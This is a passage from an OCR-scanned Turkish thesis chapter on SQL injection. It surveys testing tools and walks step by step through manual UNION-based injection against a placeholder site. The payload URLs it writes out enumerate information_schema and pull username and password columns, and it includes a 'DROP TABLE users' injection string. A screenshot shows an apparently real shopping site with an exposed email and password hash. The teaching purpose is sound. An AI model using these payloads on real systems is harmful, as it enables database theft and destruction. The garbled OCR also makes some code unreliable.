Intruder: Gilivenlik agiklarindan yararlanan dogaclama saldirilar1 gergeklestirmeye izin

Verir.

Repeater: HTTP isteklerini degistirmeyi ve alinan yanitlar1 analiz etmek i¢in kullanilir.
Sequencer: Uygulamalarin oturum belirteclerinin olasiliklarini test etmek icin kullanilir.
Decoder: Metin dizilerini kodlamak ve kodunu ¢6zmek i¢in kullanilan bir aragtir.

Comparer: Bu arag, rnegin iki veya daha fazla HTTP yanitin1 karsilastirmak i¢in verileri

karsilastirmak icin kullanilir.

Extender : Burp Suite platformunun islevlerinin farkli uzantilarina izin verir [28].

2.2.2. Sqlmap

Sqlmap araci, 6zellikle SQL enjeksiyon giivenlik aciginin kesfini hedefleyen popiiler bir
aracgtir. UNION sorgu tabanli, y1gilmis sorgular, zamana dayal1 Blind ve hata tabanlh
saldirilar denilen (UNION query-based, stacked queries, out-of-bound, boolean-based
blind, time-based blind and error-based) dahil olmak {izere farkli saldir1 yontemlerine
sahip etkilesimli bir aractir. Sqlmap aracina saldir1 hedefi olarak bir URL verildiginde,
arka u¢ veritaban1 yonetim sistemi (DBMS) hakkinda egitimli bir tahminde bulunmaya

caligir. Daha sonra bu tahminlere gore, GET veya POST gibi belirli bir HTTP yontemi
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aracilifiyla istekler gondererek, s6z konusu belirli temel DBMS i¢in daha uygun olan
farkli enjeksiyon vektorleri araciligiyla temeldeki DBMS’ye saldirmaya calisir. Ayrica
Sqlmap’ in basarili bir kullanimi1 durumunda, temel alinan DBMS’den bilgi alinabilir.
Ornegin, mevcut DBMS kullanicisinin adini, calisan mevcut veritabaninin adini,

veritabani gemasi getirilebilir, bir veritabaninin tablolarint numaralandirabilir [21].

’E*, | ] = P [T [ShellNo.1] =] SheliNo.1
Shell No. 1

File Actions Edit View Help

> Executing “sqlmap -h"

H
(

TR
1

-h,
—hh Show adv
i Show pros
Verbosity 1

Sekil 2.13. Sqlmap araci.

2.2.3. Nessus

Nessus, testler alaninda (6rnegin, ¢cok sayida cihaz ag1 vb.) daha kapsamli bir kullanimi
hedeflemektedir. Ayrica web uygulamalari i¢in penetrasyon testlerinde dogru modiilleri

etkinlestirmek ve yapilandirmak i¢in ¢ok faydali bir aragtir [18].

2.2.4. Kali Linux

Kali Linux, gelismis penetrasyon testi ve giivenlik denetimini hedefleyen Debian tabanli
bir Linux dagitimidir. Kali, penetrasyon testi, adli tip ve tersine miihendislik gibi ¢esitli
bilgi glivenligi gorevlerine yonelik ¢ok sayida arag igerir. Kali Linux, 6nde gelen bir bilgi
giivenligi egitim sirketi olan Offensive Security tarafindan gelistirilmistir. Kali Linux, 13
Mart 2013'te Backtrack Linux'un tamamen Debian gelistirme standartlarina baglh kalarak
bastan asag1 yeniden ingasi olarak piyasaya siiriilmiistiir. 600’den fazla sizma testi araci

icermektedir [18].

2.2.5. Netsparker

Netsparker iyi bir kullanici arayiiziine sahiptir. Okunmasi kolay ve sezgisel olarak
tasarlanmis 1yi raporlama 6zelliklerine sahiptir. Ayrica, tespit edilen glivenlik agiklarini

dogrulama yetenegine sahiptir. Test cihazinin Netsparker tarafindan onaylanan bu
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giivenlik aciklarint dogrulamasi gerekmediginden, bu 6zellik gercek bir zaman tasarrufu

saglayabilir [27].

2.2.6. Acunetix

Acunetix web zafiyet tarayicisi, SQL enjeksiyonlari, siteler arasi komut dosyasi
calistirma ve diger istismar edilebilir bilgisayar korsanlig1 giivenlik agiklar1 gibi glivenlik
aciklarini kontrol ederek web uygulamalarini denetleyen otomatik bir web uygulamasi
giivenlik test aracidir. Genel olarak Acunetix, bir web tarayicisi araciligiyla erisilebilen
ve HTTP/HTTPS protokoliinii kullanan herhangi bir web sitesini veya web uygulamasini
tarar [27]. XSS, SQL enjeksiyonu, Carriage Return and Line Feed (CRLF) enjeksiyonu,
kod yiirlitme, dizin gegisi, dosya dahil etme, dosya yiikleme bi¢ciminde giivenlik agiklarini
arama dahil olmak lizere ¢ok sayida giivenlik acigini algilayan MS Windows i¢in giiclii
bir aractir. Ayrica Fuzzer HTTP, HTTP diizenleyici, kimlik dogrulama testi vb. gibi

belirli gorevleri ger¢eklestirmek i¢in birkag bagimsiz 6zelligi vardir [18].

2.2.7. The Mole

Python tabanli bir otomatik SQL enjeksiyon aracidir. Giivenlik agig1 bulunan siteye URL
gecerli bir baglant1 saglanarak sorgu tabanli ya da birlestirme teknigi kullanarak SQL
enjeksiyonu algilayabilir. Komut satir1 arayiizli vardir. Tablo, siitun adi, basliklar1 gibi
otomatik tanimlamalar1 mevcuttur. GET, POST, cookie parametreleri araciligiyla SQL

enjeksiyonlardan faydalanir.

Cizelge 2.1’de caligmada kullanilan SQL enjeksiyon, web zafiyet tarama ve analiz

araclar goriilmektedir.

Cizelge 2.1. SQL enjeksiyon zafiyet belirleme ve analiz araglart.

SQL Enjeksiyon [SQL Enjeksiyon Web Zafiyet| SQL Enjeksiyonda Veri Yiikii
Araclan Tarama Araclan Analiz Etme Araclar
Sqlmap Acunetix Wireshark
Havij Netsparker Burp Suite
The Mole Safe3

2.3. WEB UYGULAMALARINDA SQL ENJEKSIYON SALDIRILARI

Web uygulamasina saldirmak i¢in en ¢ok kullanilan teknik SQL enjeksiyon saldirilaridir.
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Web uygulamasi tasarimindaki bazi giivenlik aciklarindan yararlanir. Bu saldirilar,
kullanicidan girdi aldig1 ve SQL sorgularina temel veri tabanina dahil ettigi i¢in herhangi
bir web uygulamasi i¢in ¢ok ciddi bir tehdittir. Bu yalnizca bazi kisith kisiler tarafindan
islenmesi gereken veritabani verilerine erigebilir ve bunlar1 degistirebilir. Bu teknik,
veritaban1 sunucusunu, enjekte edilen kodun istatistiksel olarak SQL ifadesi dogru

olduguna ikna etmeye calisir [16].

SQL enjeksiyonun nasil ¢calistigini géstermek i¢in, yapilan ¢aligmada tasarlanmis DVWA
adl1 bir web uygulamasi kullanilmistir. Bu uygulama PHP/ MySQL tabanlidir ve temel
amaci, giivenlik uzmanlarinin becerilerini ve araglarini yasal bir ortamda test etmeleridir.
Ayrica, gelistiricilerin web uygulamalarin1 giivenli hale getirme siireglerini daha iyi
anlamalarina yardimer olmaktadir. DVWA, Ryan Dewhurst tarafindan gelistirilmistir.

Random Storm acik kaynak projesinin bir pargasidir [22].

Web sitesinin glivenligini veritabanina yetkisiz erisime karsi test etmek i¢in kullanilabilen

Sqlmap programi, SQL enjeksiyon testi i¢in 6nemli bir aragtir.

Sekil 2.14°te gosterilen “SQL Enjeksiyonu” modiilii {izerinde bir kullanici kimligi
eklersek, veritaban1 ad ve soyad bilgisi dondiirmektedir. Bu durumda, yalnizca kullanici
kimligi varsa gerceklesir, ancak basit SQL enjeksiyon ifadesini kullanarak Sekil 2.15°te
gorildiigli gibi daha fazla bilgi alinabilmektedir.

Kullanicr girisi kacis karakterleri icin filtre uygulanmadiginda ve daha sonra bir SQL
ifadesine aktarildiginda olusan sorgu bir SQL enjeksiyon bi¢imidir. Bu, uygulamanin son
kullanicis1 tarafindan veri tabaninda gerceklestirilen ifadelerin olast manipiilasyonuyla

sonuclanir. Asagidaki kod satiri, bu glivenlik a¢igin1 gostermektedir.
statement = "SELECT * FROM users WHERE name ="' + userName + "';"

Bu SQL kodu, belirtilen kullanic1 adinin kayitlarmi kullanici tablosundan c¢ekmeyi
amaglamaktadir. “userName” degiskeni, kotii niyetli bir kullanict tarafindan belirli bir

[3

sekilde olusturulmus olabilir. Ornegin sekil 2.15°teki gibi “userName” degiskenini

‘or’ 2 ‘=" 2 veya anything‘or’ x ‘=" x olarak ayarlanabilir [22].
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Sekil 2.14. SQL enjeksiyon kullanici kimligi denemesi.
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Sekil 2.15. SQL enjeksiyon veri tabani sorgu kodu.

Bu kod bir onay prosediiriinde kullanilacaksa, bu 6rnek gegerli bir kullanict ad1 se¢imini

zorlamak i¢in kullanilabilir, ¢iinkii '1' ='1 degerlendirmesi her zaman dogrudur.
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Asagidaki ifadede yer alan “userName” degeri, “users” tablosunun silinmesine ve ayrica
"userinfo" tablosundaki tiim verilerin se¢ilmesine ayrica her kullanicinin bilgilerini ortaya

c¢ikaran bir API kullanimina neden olarak birkag ifadeye izin verebilir.
a’;DROP TABLE users; SELECT * FROM userinfo WHERE 't' ="t
Bu girdi, sonlandirict SQL ifadesini asagidaki gibi teslim eder.

SELECT * FROM users WHERE name = 'a;DROP TABLE users; SELECT * FROM
userinfo WHERE 't' = 't";

Enjeksiyonlardan korumanin bir yolu, SQL’de 6zel bir anlami olan karakterlerden
kacinmaktir. Bir SQL DBMS el kitabi, hangi karakterlerin belirli bir anlam1 oldugunu
aciklar ve bu da ¢evrilmesi gereken karakterlerin tam bir kara listesinin olusturulmasina
izin vermede yardimec1 olur. Ornegin, bir parametrede tek bir tirnagin (') her gectigi yer,
gecerli bir SQL dizesi degismezi olusturmak icin iki tek tirnak (' ') ile degistirilmelidir.
Ormnegin, PHP'de mysqli_real escape string () islevini kullanarak parametrelerden ¢ikis

yapmak yaygindir. SQL sorgusunu gondermeden once,

$mysqli = new mySqli (‘hostname','db_username','db_password', 'db_name");
$query = sprint ("SELECT * FROM "Users®

WHERE UserName='%s' AND Password='%s"",
$mysqli->real_escape_string ($Username),

$mysqli->real_escape_string ($Password));

$mysqli-> query ($query);

Mysql real escape string () islevi, asagidaki karakterlere ters egik ¢izgi gibi goriinen
mysql_real_escape_string MySQL kitaplik islevini ¢agirir (\ x00, \ n, \ r, \, ', "ve \ x1a).
Bu islev her zaman birkag istisna disinda kullanilmahdir. MySQL'e bir sorgu
gondermeden once veri gilivenlidir. Sorguda SQL enjeksiyon zafiyetiyle ilgili olaylar

olusabilir.

Web sitesinin giivenligini veritabanina yetkisiz erisime karsi test etmek i¢in 6zel araglar
kullanabilir. Bu araglardan bazilar1 Sqlmap, Wapiti, SQLNinja, Havij, The Mole,
Metasploit 6rnek olarak verilebilir [22].

Kali Linux igletim sistemi, giivenlik uzmanlarina 6grenmeye adanmis tamamen yerel bir

ortamda degerlendirme yapmalarina yardimci olan Linux tabanli bir sizma testi
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cephanesidir.

Sqlmap, SQL enjeksiyon kusurlarini tespit etme ve kullanma ve veritabani1 sunucularini
devralma siirecini otomatiklestiren agik kaynakli bir sizma testi aracidir. Giiglii bir
algilama motoru, nihai penetrasyon test cihazi i¢in pek cok giizel 6zellik ve veri tabani
parmak izinden, veri tabanindan veri getirmeye, temel dosya sistemine erismeye ve
isletim sistemindeki komutlar1 disaridan yiiriitmeye kadar uzanan genis bir anahtar

ozellikleri ile birlikte gelir.

Web uygulamasi tarafindan kullanilan veritabani oturum agma izinlerinin yalnizca ihtiyag
duyulanla sinirlandirilmasi, web uygulamasindaki herhangi bir hatay1 agiga ¢ikarmak igin

herhangi bir SQL enjeksiyon saldirisini azaltmaya yardimci olabilir.

Bir saldirgan, bir sistemin SQL enjeksiyonuna karsi savunmasiz oldugunu anladiginda,
bir giris formu alami aracilifiyla SQL sorgusu/komutlari enjekte edebilir. Bu,
veritabanimizi saldirgana teslim etmeye ve veritabaninda herhangi bir SQL komutunu
yiirlitmesine izin vermeye esdegerdir. Kullanilan arka ug veritabanina bagli olarak, SQL
enjeksiyon giivenlik agiklari, saldirgan i¢in farkli diizeylerde veri/sistem erisimine neden
olur. Baz1 durumlarda, dosyalara okumak veya yazmak veya temeldeki isletim sisteminde
kabuk komutlarini yiirtitmek miimkiin olabilir. Microsoft SQL Server gibi belirli SQL
sunuculari, veritaban1 sunucusu islevleri gibi depolanmis ve genisletilmis prosediirler

igerir [22].

2.4.SIZMA TESTI YAKLASIMIYLA SQL ENJEKSIYON ZAFIYETININ
BELIRLENMESI

Sizma testi yaklagimi mevcut web uygulamalarinda bulunan SQL enjeksiyon giivenlik

aciklarinin bir degerlendirmesi ve analizidir.

SQL dili, web uygulamasina bagli veritabanlarini iletmek ve kontrol etmek i¢in kullanilan
bir programlama dilidir. Kullanicilarin bir web sayfasindan talebi ile web uygulama
sunucusuna ulastiginda, kullanici girdisine dayali olarak dinamik olarak bir SQL sorgusu
olusturur. Ornegin, Sekil 2.16’da gosterilen www.demopage.com adli bir web
uygulamasini ele alirsak. Bir URL’ in web uygulamasi ad1 ve veriler olmak iizere iki

boliimii vardir. Veriler, web uygulamasindan belirli bir sayfayr almak i¢in kullanilir.

“Demopage.com” web uygulamasindan “6rnek” sayfasini almak i¢in web sunucusuna bir
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page=2 degeri gonderilir. Sunucu daha sonra bir SQL sorgusu olusturur. Sorguya 2
degerini Sekil 2.17°de gosterildigi gibi ekler. Bu sorgu daha sonra veritabanina gonderilir.
Sayfa degiskeninin degeri, veritabanlar1 tablosunda eslestirilir.  Degisken

eslestirildiginde, istenen sayfa tarayiciya dondiirtiliir.

Web sayfasinda giivenlik agiklari, sorgu olusturulmadan ve arka ug¢ veritabani

sunucularia gonderilmeden 6nce kullanici giris parametreleri dogrulanmadiginda olusur.

SQL enjeksiyon teknigi, web uygulamalar1 sistemine erismek i¢in parametre

manipililasyonunu kullanir. Yani sorguya girdi olarak yetkisiz veya yanlis deger

girilmesidir. Boylece veritabanindan hata mesajlar1 iiretmesini ister. Saldirganlar, web

uygulamasinin URL adresine dogrudan veritabanina iletilen bir parametre ayarlar [9].
Web sitesi adi Deger

A iy
www.demo page.com/samples.pf‘np?page=2'

4 Query

[ 1
Ssql="SELECT * FROM demopage_table WHERE page=
'Spage ' LIMIT 0,1";

Sekil 2.16. Web uygulamasi URL':.

www. demopage.com/samples.php?page=2"'--+
Ssql="SELECT * FROM demopage_table WHERE page="'Spage ,

LIMIT 0,1"; A\
[+]

Sekil 2.17. Kullanic1 girisi yoluyla yetkisiz karakter ekleme.

2.4.1. SQL Enjeksiyon Adimlari

Kullanici girdisine dayali SQL enjeksiyonunda parametre bolme ve dengeleme teknigi,
URL veya kullanic1 girdi alanina savunmasiz girdi degerini enjekte etmek i¢in kullanilir.
SQL enjeksiyon, GET ve POST tabanli yontemler kullanir. SQL enjeksiyonun adimlari,
tarayicinin URL boliimiinde GET tabanli SQL enjeksiyon yapilmasi ve kullanici oturum
acma boliimiine POST tabanli SQL enjeksiyon enjekte edilmesi disinda, her iki yontemde
de ¢ogunlukla aynmdir.

2.4.1.1. Sorguyu Bolme

SQL enjeksiyonun ilk adimi, hata mesajlari olusturmak i¢in sorguyu bolmektir. Bu
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adimda, URL degeri boliimiine degerler eklenerek sorgu iki kisma ayrilir. Ornegin, bir
dize degerinin baslangicini ve sonunu belirtmek i¢in SQL deyiminde tek bir tirnak (')
karakteri kullanilir. Sekil 2.16°da sayfa degiskeni lizerinden giris 2°dir. Bu girdi, sorguyu
olusturan web sunucusuna gonderilir. Dinamik olarak olusturulan sorguda, deger 2'den
sonraki tek tirnak, Sekil 2.16°daki okla gosterildigi gibi tek tirnak ¢iftini tamamlar. Bu,
dinamik olarak olusturulan SQL sorgusunu bozar ve Sekil 2.18’de gosterildigi gibi hata
mesajlar1 tiretir. Sekil 2.18’de gdsterilen hata mesaj1 arka ugta bir SQL sunucusunun
bulundugunu gosterir. Ayrica SQL sunucusu tarafindan olusturulan SQL sorgusunun
sO6zdizimini de ortaya cikarir. Ters egik cizgi ve tek tirnak (\') karakterleri, arka ug
sorgusundaki SQL s6zdiziminin tek bir tirnak () karakteri ile sonlandirildigin1 gosterir.
Cesitli SQL karakter dizesi ile giivenlik acig1 mevcuttur. Bunlardan bazilar1, Tek Tek
Alint1 ("), Koseli Ayrag (') ile Tek Tek Alint1 ), Bir Cift tirnak (*). Tiim s6zdizimleri tim
web uygulamalari i¢in kullanilamaz. Web uygulamasi gelistiricisinin sistemi uyguladigi
araglara baghdir.

www.demopage.com/sample.php?page=2}

l Hata

MySQL server version for the right syntax to use near '[\'[LIMIT
0,1"atline 1
Kod tek bir almt
ile kirilabilir.

Sekil 2.18. SQL Sorguyu bdldiikten sonraki olugan hata.

Cesitli SQL karakter dizisi ile glivenlik agig1 bulunmaktadir. Bunlardan bazilar1 Cizelge
2.2°de gosterilmistir. Bu dizeler sorguyu bolmek i¢in bir URL'e eklenebilir. Hepsi tiim
web uygulamalari i¢in kullanilamaz. Web uygulamasi gelistiricisinin sistemi uyguladigi

araglara baghdir.

Bazen sorguyu bolmek i¢in tam SQL s6zdizimini bulmak zordur. Béyle bir durumda,
sunucunun sorgu s6zdizimini bulmak i¢in ters egik ¢izgi (\) kullanilabilir. Bu ters egik

cizgi, degerle birlikte eklenir.
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Cizelge 2.2. SQL parametreleri.

SQL S6z Dizimi |Sembol
Tek Bir Alint1 ¢
Parantez ile bir Tek .
Alint1 )
Bir Cift alint1 “
Parantez ile bir Cift “
Alint1 )

2.4.1.2. Sorguyu Diizeltme veya Dengeleme

Bu adimda hata diizeltme islemi yapilir. Bir hata ¢ikarken, veritaban1 sorgularin hi¢birini
yanitlamaz. Hatay1 diizeltmek i¢in sorgu birlestirme ve sorgu dengeleme olarak iki teknik
kullanilir. Sorgu birlestirme ve dengeleme i¢in kullanilan c¢esitli s6z dizimleri vardir.
Ornegin GET tabanli yontemde sorguya katilmak igin Sekil 2.17°de gosterildigi gibi - - +
karakter dizeleri veya POST tabanli yontemde # karakteri kullanilir. Sorgu birlestirme
islemine 6rnek olarak Sekil 2.19°da gosterilmistir. URL'de tek tirnaktan sonra bosluk,
eksi, eksi ve art1 (- - +) karakter dizileri eklenir. Isaretler bosluk birakmadan birlikte
olmalidir. Eksi eksi (- -) karakter dizisi SQL deyiminde dize degerlerinin yorumlanmasini
belirtmek i¢in kullanilir ve arti (+) bosluk belirtir. Bu ifadenin s6zdizimi, sorgu
s0zdizimine katildiktan sonra tiim dizenin yorumlanmasma neden olur. Sorgunun

yorumlanacak kismi1 Sekil 2.19°da gosterilmektedir.

Sekil 2.20°de gosterildigi gibi “ ' LIMIT 0,1 ” sorgusu, sorgu birlestirme sézdizimi ile
yorumlanacaktir. BOylece veritabani, sorgu birlestirme sozdiziminden oOnce yazilan
sorguyu yiirtitecektir. Sorgu birlestirildiginde, tarayici tarafindaki web uygulamasi higbir
hata mesaj1 olmadan orijinal formunu alacaktir. Bir web uygulamasiin sorgu bdlme
hatasin1 diizeltmek i¢in birlestirme veya dengeleme yontemlerinden yalnizca biri

kullanilabilir. Bu, arka u¢ sunucusunun sorgu yapisina bagl olacaktir [9].

www.demopage.com/sample.php?page=2" order by 4 --+

Ssgl="SELECT * FROM demopage_table WHERE page=" Spage ‘l‘ LIMIT
0.1 \

2' order by 4 —+

Sekil 2.19. Sorguyu diizeltme.
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2.4.1.3. Enjekte Etme Sorgusu

Hem GET hem de POST tabanli yontemler, enjeksiyon sorgusu i¢in ayni sdzdizimini
kullanir. Enjeksiyon kodu, Sekil 2.19’da gosterildigi gibi tek bir alint1 ile s6z diziminin
birlestirilmesi veya dengelenmesi arasinda yazilir. Bu ¢alisma i¢in web uygulamalarinin
giivenlik aciklarinin seviyesini kontrol etmek i¢in belirli bir dizi SQL enjeksiyon adimlari

kullanilmaistir.

Adim 1: Veritabanlar1 tablosundaki siitun sayisim1i bulmak igin sorguya gore sirala
manti@1 kullanilir. Sekil 2.19' daki 6rnekte goriildigii gibi, sorgu arasinda bolme ve
birlestirme s6zdizimi sirasi 4'e gore URL'de yazilir. S6zdizimine gore siralandiktan sonra
eklenen degerin, veritaban1 tablosundaki siitun numarasiyla eslesip eslesmedigini kontrol
eder. Sekil 2.19' daki 6rnek i¢in bu deger 4 tiir ve arka ug veritabani tablosunun 4 siituna
sahip oldugunu gostermektedir. Tam siitun sayisini belirlemek i¢in bir deneme yanilma
teknigi ile deger, siitun sayisiyla eslesmiyorsa, veritabaninda siitun 5’in bulunmadigini

belirten bir “Unknown column ’5’ in order clause” hata mesaj1 bulunur.

Adim 2: Siitun sayis1 alindiginda, veritabani tablosundaki savunmasiz siitunlari bulmak
icin union select veya union all select sorgusu kullanilir. “Union select 1,2,3,4” s6zdizimi
kullanilarak, Sekil 2.20’de gosterildigi gibi savunmasiz siitunlarin sayis1 sorgulanir. Bu
sorguyu yuriitmek, savunmasiz siitunlarin tam sayisini yazdirir. Bu sorguda, parametrenin
degeri Sekil 2.20°de gosterildigi gibi -2 olarak degistirilmelidir. Bu, orijinal sorguyu
gecersiz kilmak olarak bilinir ve 0 gibi herhangi bir yanlis kosul veya herhangi bir biiyiik
dize de gecersiz kilmak icin eklenebilir. Bu sorguyu yiiriitmek, bu 6rnekte giivenlik a¢ig1

bulunan 3 numarali siitunu yazdirir.

www.demopage com/sample.php?page=-2‘union select 1,2,3,4 -+

Ssql="SELECT * FROM demopage_table WHERE page=" Spagc,!'
LIMITO,1";
-2'%20union select 1,2,3,4%20--+

Sekil 2.20. Belirli bir sayfadaki savunmasiz siitunlar1 bulmak i¢in yapilan sorgu.

Admm 3: Giivenlik ag¢ig1 bulunan siitunlarin sayis1 veya sayilart bulunduktan sonra,
birlesim se¢me sorgusu yeniden olusturulur. Savunmasiz siitun numaralarindan herhangi
birinin (Sekil 2.21°de 3 olan) yerine, bilgi semasi1 veritabanindaki tiim tablolarin adlarin
yazdirmak i¢in Group concat (table_name) sorgusu yazilir. Bilgi semasi, sunucudaki tim

veritabanlar1 hakkinda bilgileri iceren SQL sunucusunda varsayilan bir veritabanidir.
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www.demopage.com/sample.php?page=-2' union select
1,2,group_concat(table_name),4 from information_schema.tables where
table_schema=database() ==+

Ssql="SELECT * FROM demopage_table WHERE page="'Spage ' LIMIT
0,19

-2%27%20union%20select%201,2,
group_concat(table_name),4%20from%20
information_schema.tables
%20where%20table_schema=database%28%29--+

Sekil 2.21. Veritabanindaki tablo adlarin1 bulmak i¢in yapilan sorgu.

Adim 4: Tablo adlar1 alindiktan sonra, tablolardaki siitunlarin adlarin1 bulmak i¢in sorgu
yeniden yapilandirilir. Sorguda “table” kelimesi “column” ile degistirilir. Belirli bir
tablodaki siitun adlarini almak igin sorgu s6zdizimi Sekil 2.22°de gdsterilmistir. Ornek

i¢in tablo ad1 demo tablosu ele alinmstir.

www.demopage.com/sample.php?id=-2' union select
1,2,aroup_concat(column_name),4 from information_schema.columns where
table_name-‘demao_table’ -=+

Ssql="SELECT * FROM demaopage_table WHERE page="Spage . LIMIT
01"

. -2%27%20union%20select%201,2,group_concat{column_name),4
%20from%20information_schema.columns
%20where?20table_name=%27 demo_table %27+

Sekil 2.22. Belirli bir sekmede siitun adin1 bulmak i¢in yapilan sorgu.

Adim 5: Alinan siitun adlari, bu siitunlarda depolanan verileri almak i¢in kullanilir. Grup
concat sorgusu, siitun adin1 id, username, password ile degistirerek yeniden olusturulur.
Ornekte, demo tablosunda id, username, password siitunlarinin bulundugu varsayilarak

yeniden yapilandirilmis sorgu sdzdizimi Sekil 2.23°de gosterilmektedir.

www.demopage.com/sample.php?id=-2' union select

1,2,\”"'11;'4 oncat(id, username, password ) 4 from demo_table==+

Ssql="SELECT * FROM demopage_table WHERE page=" Spage ,
0,1 '\
-2%27%20union%20select%201,2,
group_concat(id, username, password),4%20from%20demo_table %27--+

LIMIT

Sekil 2.23. Veritaban1 kullanici tablosundan kullanici verilerini alma sorgusu.

SQL enjeksiyon uygulamak ic¢in ¢esitli otomatik araglar da vardir. Manuel test
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yaklasiminda kullanilan SQL enjeksiyonu, otomatize olarak SQL enjeksiyon denemeleri
gerceklestiren mevcut araglarla teorik benzerliklere sahiptir. Ancak burada yapilan

adimlarin tam sirasi, mevcut yaklagimlar i¢in ortak olmayabilir.

Cizelge 2.3 degerlendirilen 900 web uygulamasinda sorgu bdlme SQL enjeksiyon
sO0zdizimini ve belirli bolme sozdizimine karst savunmasiz web uygulamalarinin
yiizdesini gosterir. Yaklasik %10 web uygulamasi yalnizca ters egik ¢izgi girilerek
kullanilabilmektedir. Web sitelerinin yaklasik %701 tek tirnak (') boéliinmesine karsi
savunmasizdir. Diger %5 ve %15 ise ¢ift tirnak () ve tek tirnak tek parantez ’) ile
kullanilabilir. Cizelge 2.3’de gosterildigi gibi, bolme tekniklerinin geri kalani i¢in

herhangi bir giivenlik a¢1g1 bulunamamustir.

Cizelge 2.3. GET yontem temelli SQL enjeksiyon.

Sorgu Bolme Teknikleri Yiizde (%)

Balmeye 2 29 ’) ’3”) ’)) 29 2 29 % 99
gerek D) ) )
olmayan

10 70 5 15 0 0 0 0 0 0

POST tabanli SQL enjeksiyona savunmasiz web uygulamalarinin analizi veri setinde,
post tabanlt SQL enjeksiyonun ¢esitli sorgu bolme tekniklerine agik 90 web uygulamasi
bulunmustur. Cizelge 2.4’te SQL enjeksiyon sdzdizimlerini bélen sorgu ve POST tabanh
SQL enjeksiyona kars1 savunmasiz olan web sitelerinin sayist gosterilmektedir. Cizelge
2.4’te gosterildigi gibi, POST tabanli SQL enjeksiyona karsi savunmasiz olan web
uygulamalariin %85°1, tek tirnak (') sorgu bélme sézdiziminden yararlanilabilir. Geri
kalan %15°lik kisim ise cift tirnak (") sorgu bélme s6zdizimi yoluyla kullanilabilir. Geri

kalan bolme teknikleri, degerlendirilen web uygulamalarinda bulunamamistir [9].

Cizelge 2.4. POST yontem temelli SQL enjeksiyon.

Sorgu Bolme Teknikleri Yiizde (%)
DL D)D)
85 | 15 0 0 0 0 0 0 0 0 0 0
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2.5. SQL ENJEKSIYON VERITABANI SALDIRISI VE SORGULAR

Uygulama veritabani katmaninda bulunan giivenlik agigindan yararlanarak ve SQL
kodlar1 kullanarak veritabanina sizma, SQL enjeksiyonu olarak bilinir. Bu kod
enjeksiyon teknigi veritabani uygulamasini kandirir ve yasadisi erisim saglar. Bagarili bir
SQL enjeksiyonun etkisi ¢ok biiyiiktiir. Giivenligi ihlal edilen sitelerin bir¢ogu iilkelerin
hiikiimet web siteleridir. Gelismekte olan {ilkelerdeki hiikiimet web sitelerinin yaklasik
yiizde 65’inin savunmasiz oldugu bulunmustur. Bu durum SQL enjeksiyonundan
kacinma ihtiyacim1 agikca gostermektedir. Web gelistiricileri ve veritabani yoneticileri,
bu saldirinin yikict sonuglarini bilmeli ve Onerilen dnleme yontemlerini uygulamay1
diisiinmelidir. Bilgisayar korsanlarinin farkli mevcut SQL enjeksiyon bigimleri vardir ve
saldirtyr nasil gergeklestirdikleri hakkinda asagidaki boliimlerde gosterilmistir.
Yoneticilerin mevcut koruma sistemleri konusundaki eksiklikleri bu duruma getirmistir.
Giivenlik uzmanlar1 ve yeralt1 korsanlari ile kapsamli referanslar ve tartismalardan sonra

mevcut senaryoya uygun olarak onerilen saldir1 6nleme yontemi verilmistir [24].

Web uygulamalari normalde MySQL sunucusunun mysql_real escape_string () islevinde
oldugu gibi, temeldeki isletim sisteminde, web uygulamasinda veya veritabani sisteminin
kendisinde giivenlik aciklar1 bulunabilir. Bilgisayar korsanlari, genellikle sunucunun
gecersiz bir SQL sorgusu olusturmasina neden olacak uygulama girdisini gondererek
SQL enjeksiyon giivenlik aciklarini test eder. Sunucu daha sonra istemciye bir hata mesaji
dondiiriirse, saldirganin kullanicinin girdisinden kagilsa bile hataya dayali bagarili bir

SQL enjeksiyon saldiris1 gergeklestirmesine izin verir [24].

2.5.1. Yetkisiz Sorgular

SQL enjeksiyonun nasil ¢alistigini gostermek i¢in web uygulamasi1 SQL enjeksiyonuna
kars1 savunmasiz oldugunda, ancak enjeksiyonun sonuglar1 saldirgan tarafindan
goriilmediginde bu enjeksiyon tiirii kullanilir. Sayfanin icerigi, o sayfa i¢in ¢agrilan mesru
SQL ifadesine eklenen mantiksal ifadenin sonucuna bagli olarak farkli sekilde
goriintlilenir. Saldirgan, kotii amaclt SQL kodlari enjekte ederek giivenlik acigini kontrol
eder ve sunucu bir hata iletisi dondiiriirse, saldirgan hata iletisini kesebilir ve basarili SQL
enjeksiyon saldiris1 gergeklestirebilir. Program bir istemciden gelen verileri kabul eder ve
istemcinin girdisini dogrulamadan SQL sorgularini yiiriitir. Daha sonra saldirgan,
veritabanindaki igerigi degistirebilir, ekleyebilir veya silebilir. Alinan her bit i¢in yeni bir

ifade olusturulmasi gerektiginden, bu tiir bir saldir1 zaman alic1 hale gelebilir. Hedef bilgi
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ve giivenlik a¢1g1 konumu bulundugunda, bu saldiriyt manuel etkilesim olmadan otomatik

olarak gerceklestirmek igin bir¢ok arag mevcuttur [24].

Search Products

O Our Achievements FAQs

=] Wl;at is Homoeopathy? 1
e AVAILABILITY

B Feedback Q.1 Availability

= FAQ's

Shopping at Doliosis.com is fun and fast. Doliosis is now giving you an Online Shopping Facility.
Mow you can buy products conveniently from home. You can get a free Home Delivery of
products. Online sale i1s available in India only. You can enjoy online shopping with fabulous
and excellent reward point system.,

O Contact Us

PRODUCT INFORMATION

Your shopping bag is
empty,

Q.1 What all product related information is available on the website?

Click To Buy Now

There's a Product page for each item offered at doliosis.com. While on a Product page, you can
order a product, read its complete description; and get other important information: Here's
what you'll find: Description: it will display the general information of a product, Composition:
It will give the composition of the drugs used in a product. Symptomatalogy! It will list the
8 Our Research symptoms for what to use the product. Instructions for use: Get tips on how to get the most

B Testenurals out of each product.
= =

EECLIEI Q.2 Is there any product search facility?

Type a product or symptom in the Search box at the upper left side of home page of
Doliosis.com to get a list of products that match your search. Each product is listed with a
picture, price, and product details,

Veterinary Feed
Supplements

I Contract ‘

Manufacturing Q.3 How does my shopping bag function?

while you're shopping, you can click "Buy MNow" or “Add to bag” to place products in your
shopping Bag, You can always see what's in your bag by clicking "Shopping bag contents” in
the upper right corner. The items you selected will be saved until you're ready to purchase
them. If you're logged in to Doliosis.com, you'll also see items that you placed in your cart (but
didn‘t buy) from previous logged in shopping sessions. From the shopping cart, click "Check
Out" to purchase items in your cart or "Continue Shopping" to browse Doliosis.com for more
iterns,

1:PROMARKINFOTECH@YAHOO.COM:9FCC265199B6BEFD223E117A8ACAEC78:
T S

Sekil 2.24. SQL enjeksiyonu yapilan web sitesi [24].

Yukaridaki sekilde bir web sitesi test edilmistir. Bir tiir Blind SQL enjeksiyonu yapilmis
